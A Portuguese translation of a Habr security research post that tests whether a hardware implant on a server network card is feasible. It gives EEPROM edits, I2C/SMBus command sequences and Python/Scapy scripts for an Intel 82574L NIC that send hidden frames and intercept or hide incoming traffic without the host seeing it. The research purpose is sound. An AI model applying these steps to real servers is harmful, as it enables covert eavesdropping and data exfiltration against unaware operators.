Fazendo seu próprio implante para eletrônicos



A história da Bloomberg de que alguns implantes foram supostamente instalados nas placas-mãe [os chineses usavam um microchip para controlar os computadores americanos ] não passou despercebida. Depois disso, muitas pessoas compartilharam idéias sobre a possibilidade de criar esses implantes (tamanho estimado, capacidade ou método de detecção).

Alguns dias depois, a revista Bloomberg publicou um artigo com evidências adicionais. Aqui está o que especificamente despertou nosso interesse:
O servidor jurídico enviou mensagens de uma maneira, o implante da outra, mas parecia que todo o tráfego vinha de um servidor confiável.


Existem maneiras de interagir com a placa de rede diretamente da placa-mãe. Várias pessoas indicaram que você pode jogar com o BMC (Baseboard Management Controller - um componente que permite acesso ao servidor além do canal principal), o que permitirá ao implante controlar o BMC e obter acesso à placa de rede. Mas como isso funciona na prática? Vamos ver se podemos reproduzir isso.

Posição inicial


Vejamos as possíveis interfaces entre a NIC (placa de rede ) e o BMC. Um dos principais protocolos para trabalhar em um canal dedicado é a interface inteligente de gerenciamento da plataforma IPMI.

IPMI


A Wikipedia diz que o IPMI é “uma interface inteligente de gerenciamento de plataforma projetada para monitorar e gerenciar autonomamente os recursos criados diretamente no hardware e firmware das plataformas de servidor. Os principais recursos do IPMI são monitoramento, restauração de funções de gerenciamento, registro e inventário, disponíveis independentemente do processador, BIOS e sistema operacional. Os recursos de gerenciamento de plataforma podem estar disponíveis mesmo quando o sistema está desligado. ” Muito parecido com o que precisamos.

O fluxograma a seguir mostra um possível caminho de implementação do projeto:



O IPMI realmente define dois canais de banda lateral para a NIC: SMBus e NC-SI. O NC-SI é uma substituição SMBus de ponta que suporta velocidades aprimoradas de transferência de dados e outros novos recursos. O problema é que ela precisa de mais sinais (cerca de 10) e é muito mais difícil intervir em seu trabalho quando estamos trabalhando com um implante. Então, por enquanto, vamos nos concentrar no SMBus.

SMBus


O SMBus (System Management Bus) é um protocolo de comunicação serial para dispositivos de energia. Barramento de dois fios simples de um lado, fornecendo comunicações simples. Geralmente usado em computadores para conectar a placa-mãe a uma fonte de energia e enviar / ativar instruções. Baseado no barramento I 2 C , comumente usado em microcontroladores. A interface precisa apenas de dois sinais (frequência do relógio e dados), e o terceiro sinal é uma interrupção. Perfeito para o protocolo de jogos de implantes.

Primeiro contato


Você precisa ser inteligente, sem ter acesso à placa-mãe com o BMC. Estudando as características técnicas das placas-mãe de servidor, descobrimos que algumas delas usam o chip Intel 82574L . De acordo com a documentação , ele fornece a "interface avançada de passagem SMBus" - exatamente o que você precisa. E o melhor de tudo, ele vem no formato de cartão PCI-E.

Acesso SMBus


Fomos à loja e agora temos placas Intel EXPI9301CTBLK com o chip 82574L. O que agora

A documentação pode rastrear SMB_DAT e SMB_ALRT_N. Felizmente, todos estavam disponíveis nos blocos de contato. Tudo parece ser bem fácil.


NIC PCB. Superior esquerdo - EEPROM, superior direito - conector para SMBus [ALRT | CLK | DAT]. Observe que o R39 e o R40 estão fechados, o que proíbe o acesso ao SMBus para o conector PCIe.

Conectamos a sonda I 2 C e examinamos o SMBus, mas não contamos nada de útil. A documentação diz que o SMBus é ativado apenas quando um registro de bits específico é definido. Este valor é carregado a partir da EEPROM. É hora de ir mais fundo.

Ativar acesso ao SMBus


A documentação nos ajuda novamente. O acesso ao SMBus é determinado pelo valor do registro carregado na NIC EEPROM. Felizmente, a EEPROM pode ser lida com flashrom. Ao despejar o conteúdo da EEPROM, podemos analisar e alterar os valores:

> ./flashrom -p buspirate_spi:dev=/dev/hydrabus --read /tmp/flash.dump
flashrom p1.0-87-g9891b75-dirty on Linux 4.18.12-arch1-1-ARCH (x86_64)
flashrom is free software, get the source code at https://flashrom.org

Using clock_gettime for delay loops (clk_id: 1, resolution: 1ns).
Found Winbond flash chip "W25X40" (512 kB, SPI) on buspirate_spi.
Reading flash... done.


A julgar pelo mapa NVM (capítulo 6.1 da documentação), fica claro que precisamos alterar dois valores:

  • Palavra de controle de inicialização 2 [MNGM] (folha de dados capítulo 6.1.1.6)
  • Compatibilidade [ASF SMBus Connected] (capítulo 6.1.2.1.1 da folha de dados)
  • Compatibilidade [SMBus Connected] (capítulo 6.1.2.1.1 da folha de dados)

É necessário considerar apenas que na EEPROM os dados são armazenados no formato little endian.

Depois disso, ainda precisamos lidar com o valor da soma de verificação. O capítulo 6.1.2.11 afirma que a soma de todas as palavras no intervalo [0x00-0x40] deve ser 0xBABA. Um pouco de Python nos ajudará a calcular a soma de verificação correta:

import struct
data = open('/tmp/flash.mod', 'rb').read()
tot = 0
for i in range(0x3f):
tot = (tot + struct.unpack('<H',data[2*i:(2*i)+2])[0]) & 0xffff

print("Checksum word must be : " + hex(0xbaba-tot))
#Checksum word must be : 0x9efb


E, finalmente, todas as nossas alterações na EEPROM:

< 00000000: 6805 ca89 b22e 2004 46f7 8010 ffff ffff h..... .F.......
> 00000000: 6805 ca89 b22e 3014 46f7 8010 ffff ffff h.....0.F.......
< 00000010: 69e4 0881 6b02 1fa0 8680 d310 ffff 5a9c i...k.........Z.
> 00000010: 69e4 0881 6b02 1fa0 8680 d310 ffff 5adc i...k.........Z.

< 00000070: ffff ffff ffff ffff ffff 3001 ffff 0bef ..........0.....
> 00000070: ffff ffff ffff ffff ffff 3001 ffff fb9e ..........0.....


Depois de fazer alterações e piscar a EEPROM, conectamos uma sonda I 2 C e:

i2c1> scan
Device found at address 0x49
i2c1>


O endereço I 2 C é codificado em sete bits, o endereço que precisamos é obtido como 0x49 << 1 = 0x92.

Agora, temos um diagrama de trabalho para o nosso implante. Podemos enviar comandos para a NIC:



Recebendo informações


Como você deve ter adivinhado, continuamos lendo a documentação e enviando comandos especialmente preparados para a NIC para verificar se tudo estava funcionando conforme o esperado.

A documentação descreve tudo o que você precisa saber sobre o formato da transação no capítulo 8.4.4. A única diferença é que não precisamos calcular o PEC (soma de verificação para SMBus, calculada para cada pacote). Por exemplo, podemos enviar o comando CMD para o endereço SLAVE usando a seguinte sequência:

[START] [@SLAVE] [CMD] ( [START] [@SLAVE] [READ_DATA] ) [STOP]

[START] e [STOP] são as condições de START e STOP definidas por I 2 C.

Por exemplo, o comando para ler o endereço MAC (descrito no capítulo 8.8.2.3) será 0xD4. Enviamos o comando para SMBus no modo I 2 C:

[START] [0x92] [0xD4] [START] [0x92] [read 8 bytes] [STOP]

Quando transferido para as equipes Hydrabus, será:

i2c1> [ 0x92 0xd4 [ 0x92 hd:2 hd:6 ]
I2C START
WRITE: 0x92 ACK 0xD4 ACK <== [NIC address] [command]
I2C START <== Switch state
WRITE: 0x92 ACK <== [NIC address]
07 D4 | .. <== Read [length] [header]
68 05 CA 89 B2 2E | h..... <== Read MAC address bytes
NACK
I2C STOP


E sim, obtemos o nosso endereço MAC!

Fazendo um implante


Agora, sabendo como você pode se comunicar com a NIC, vamos ver como você pode usar esse canal para roubar o tráfego da rede e enviar dados pela rede. O capítulo 8 da documentação descreve tudo o que você precisa para fazer isso.

Enviando pacotes


Descrito nos capítulos 8.6 e 8.8.1. Podemos simplesmente criar um quadro Ethernet usando comandos. Aqui está um exemplo de script para Hydrabus ou Bus Pirate enviar um pacote:

import serial
import struct
from scapy.all import *

ser = serial.Serial('/dev/ttyACM0',115200)

def send_frame(pkt):
# Define the frame size
pktlen = struct.pack("B", len(pkt))

# Define the data length to be sent
fulllen = struct.pack(">h", len(pkt)+3)

# I2C write-then-read. Send frame + SMBus header, receive 0
ser.write('\x08'+fulllen+'\x00\x00')
ser.write("\x92\xc4"+pktlen+pkt)

# If packet has been sent successfully
if ser.read(1) == '\x01':
print "Send OK"
else:
print "Error sending"
ser.write('\x00')
ser.write('\x00')
ser.write('\x0F\n')
quit()

# Open Hydrabus in binary mode
for i in xrange(20):
ser.write("\x00")
if "BBIO1" not in ser.read(5):
print "Could not get into binary mode"
quit()

# Switch to I2C mode
ser.write('\x02')
if "I2C1" not in ser.read(4):
print "Cannot set I2C mode"
quit()

#Create the frame to send
p = Ether(src="11:22:33:44:55:66", dst="ff:ff:ff:ff:ff:ff") / IP(src="10.31.32.82", dst="10.31.32.80")/ICMP()

#Send the frame
send_frame(str(p))

# Return to main binary mode
ser.write('\x00')
#reset to console mode
ser.write('\x0F\n')


Depois de executar o script, você pode ver o pacote vindo da máquina com o implante e, mais interessante, o próprio servidor não vê esse pacote:


Tcpdump da máquina do atacante à esquerda, servidor à direita

Pacotes de leitura


Filtragem


Para descobrir quais quadros devem ir para o SMBus, a NIC usa filtros de controle. Eles mapeiam o tráfego da rede e o redirecionam para o PCIe, ou para o SMBus, ou para lá e para lá. Do nosso ponto de vista, isso nos dá uma grande flexibilidade:

  • Você pode rastrear o tráfego definindo um filtro que o varrerá e o redirecionará para PCIe e SMBus.
  • Você pode fazer com que o tráfego desapareça direcionando-o apenas para SMBus.
  • Você pode criar um canal oculto que não ficará visível para o servidor com o implante.

O mais interessante é que o filtro pode ser configurado para rastrear vários elementos do quadro:

  • Porta UDP / TCP
  • VLAN
  • IPv4 - IPv6
  • Endereço MAC
  • ...

(Para uma lista completa, consulte o capítulo 8.4.2.1)

Sete filtros MDEF independentes [0: 6] estão disponíveis e cada um deles pode ser configurado para redirecionar o tráfego correspondente ao PCIe sobre SMBus usando o registro MANC2H (para obter mais detalhes, consulte o capítulo 8.4.3).

Implementação


Foi muito difícil configurar tudo corretamente. Tentamos várias combinações diferentes para fazer o filtro funcionar. Felizmente, a nota sobre o aplicativo da Intel nos deu mais detalhes sobre como executar filtros da maneira que precisamos.

Usando nosso probe I 2 C, podemos configurar tudo isso com quatro comandos:

//
[ 0x92 0xca 0x01 0x40 ]
// MDEF[0] , UDP/664 UDP/623
[ 0x92 0xcc 0x06 0x61 0x00 0x00 0x00 0x0c 0x00 ]
// MANC2H
[ 0x92 0xcc 0x05 0x0a 0x00 0x00 0x00 0x00 ]
// (SMBus alerting, status reporting / Enable)
[ 0x92 0xca 0x01 0x45 ]


Conforme descrito no capítulo 8.8.1.3, é necessário definir vários bits para permitir a recepção de dados e enviar quadros de volta ao nosso implante. Escolhemos o alerta SMBus porque outros modelos permitem que a placa de rede faça solicitações assíncronas ao SMBus (para detalhes, consulte o capítulo 8.4.5).

Quadros de leitura


Como usamos o método de alerta SMBus, esperávamos que o sinal SMB_ALRT_N se desligasse antes de enviar o comando Receive TCO Packet. Se esperássemos muito tempo, o pacote seria rejeitado pela NIC.

Para ilustrar apenas o diagrama, enviaremos quadros periodicamente e enviaremos comandos de leitura - apenas para confirmar que esse princípio funciona. O esquema é assim:

  • Um servidor com um implante possui filtros que monitoram o tráfego com o UDP / 623 (capítulo 3.6.1.2).
  • O implante é simulado usando Hydrabus.
  • Outro servidor envia pacotes que se enquadram no filtro usando o script Scapy:

from scapy.all import *
p=Ether()/IP(dst="10.31.32.81")/UDP(dport=0x26f)/"MALICIOUS PAYLOAD"
while(1):sendp(p)


Acontece algo interessante:



À esquerda, o SMBus lê o quadro; os dados do quadro são mostrados abaixo. À direita, o tcpdump, executando em um servidor com um implante, não mostra os quadros recebidos.

Frame Relay


Alterando o registro do MANC2H, é possível garantir que o tráfego enviado ao SMBus e ao PCIe seja exibido corretamente no servidor. Por exemplo, vamos criar um filtro de interceptação que responda ao tráfego UDP / 161 (SNMP) e o envie para SMBus e PCIe:

//
[ 0x92 0xca 0x01 0x40 ]
// - 0 161 (0xa1)
[ 0x92 0xcc 0x04 0x63 0x00 0x00 0xa1 ]
// MDEF[0] , - 0
[ 0x92 0xcc 0x06 0x61 0x00 0x00 0x00 0x10 0x00 ]
// MANC2H MDEF[0] PCIe
[ 0x92 0xcc 0x05 0x0a 0x00 0x00 0x00 0x00 ]
// (SMBus alerting, status reporting / Enable)
[ 0x92 0xca 0x01 0x45 ]


Ao ativar os filtros, podemos enviar uma solicitação SNMP ao servidor com o implante e ver o pacote que interceptou o implante. Ao mesmo tempo, o servidor responde à solicitação - o que significa que o pacote foi redirecionado corretamente para SMBus e PCIe:


Acima está uma solicitação SNMP interceptada do implante. Abaixo - a solicitação SNMP chegou ao servidor.

Conclusões


Descrevemos um método possível para a introdução de um microcontrolador pequeno e barato como implante no nível da NIC. Esse implante precisa de pelo menos quatro contatos (Vcc, GND, CLK, DAT) e pode controlar a placa do servidor. Entre suas características:

  • Escutando o tráfego de rede recebido no servidor.
  • Recebendo comandos da rede sem o conhecimento do servidor.
  • Transmissão de dados pela rede sem o conhecimento do servidor.

Em nosso exemplo, por simplicidade, o Hydrabus foi usado como interface para I 2 C / SMBus, mas isso pode ser feito com a mesma facilidade em um pequeno microcontrolador, por exemplo, ATtiny85 (é do tamanho de uma EEPROM para NIC).

No entanto, na vida real, o acesso a esse implante seria apenas para o SMBus. Dependendo do esquema da placa-mãe, este dispositivo pode ser o único disponível e, portanto, a interação com o sistema operacional do servidor será impossível. No caso em que é necessário controle total sobre o sistema operacional, é melhor alterar o código BMC, pois ele já tem acesso a todos os barramentos interessantes e não deixa rastros visíveis na placa-mãe.

Outra desvantagem desse implante é que ele pode transmitir dados em velocidades da ordem de 100 Kb / s, o que não é suficiente para um estudo completo do tráfego. Além disso, o implante é capaz de interceptar apenas o tráfego proveniente da rede. Como resultado, essa solução parece ineficaz em comparação com os esforços necessários para sua implementação no equipamento de destino.

Source: https://habr.com/ru/post/pt429190/


All Articles